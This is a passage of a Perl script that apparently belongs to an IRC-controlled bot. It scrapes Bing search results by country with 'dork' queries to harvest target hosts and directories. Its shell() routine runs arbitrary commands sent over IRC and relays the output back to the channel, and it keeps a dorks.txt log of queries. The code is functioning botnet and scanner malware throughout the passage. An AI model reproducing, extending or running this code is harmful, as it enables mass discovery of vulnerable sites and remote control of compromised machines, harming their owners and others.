m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingBR/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingFR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingFR/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingES() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingES/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingIT() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingIT/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub bingBE() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingBE/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingNL() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingNL/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingPT() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingPT/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingNO() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingNO/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingDK() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingDK/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingSE() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingSE/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub bingCH() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingCH/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingNZ() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingNZ/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingRU() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingRU/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingJP() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingJP/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingCN() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingCN/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingKR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingKR/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub bingMX() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingMX/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingAR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingAR/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingCL() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingCL/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingAU() { my @list; my $key = $_[0]; for (my $i=1; $i<=600; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingAU/) { my @grep = links($link); push(@list,@grep); } } } return @list; } ######################################### sub clean() { my @cln = (); my %visit = (); foreach my $element (@_) { $element =~ s/\/+/\//g; next if $visit{$element}++; push @cln, $element; } return @cln; } sub links() { my @list; my $host = $_[0]; my $hdir = $_[0]; $hdir =~ s/(.*)\/[^\/]*$/\1/; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $host .= "/"; $hdir .= "/"; $host =~ s/\/\//\//g; $hdir =~ s/\/\//\//g; push(@list,$host,$hdir); return @list; } sub search_engine_query() { my $url = $_[0]; $url =~ s/http:\/\///; my $host = $url; my $query = $url; my $page = ""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~ s/$host//; if ($query eq "") { $query = "/"; } eval { my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return; my $sget = "GET $query HTTP/1.0\r\n"; $sget .= "Host: $host\r\n"; $sget .= "Accept: */*\r\n"; $sget .= "User-Agent: $uagent\r\n"; $sget .= "Connetion: Close\r\n\r\n"; print $sock $sget; my @pages = <$sock>; $page = "@pages"; close($sock); }; return $page; } ######################################### sub shell() { my $path = $_[0]; my $cmd = $_[1]; if ($cmd =~ /cd (.*)/) { chdir("$1") || &msg("$path","No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @output = `$cmd 2>&1 3>&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &msg("$path","$output"); if ($c == 5) { $c = 0; sleep 3; } } exit; }} } sub isAdmin() { my $status = 0; my $nick = $_[0]; if ($nick eq $admin) { $status = 1; } return $status; } sub msg() { return unless $#_ == 1; sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); } sub nick() { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub read_dorks() { my $dork = uri_escape($_[0]); my $file = "dorks.txt"; my $success = 0; open (file,"<$file"); while (my $dorkx=<file>) { chop($dorkx); if ($dorkx =~ /$dork/){ $success = 1; } } close file; return $success; } sub write_dorks() { my $dorks = uri_escape($_[0]); my $file = "dorks.txt"; open (filex,">>$file"); print filex $dorks."\n"; close filex; } sub notice() { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); }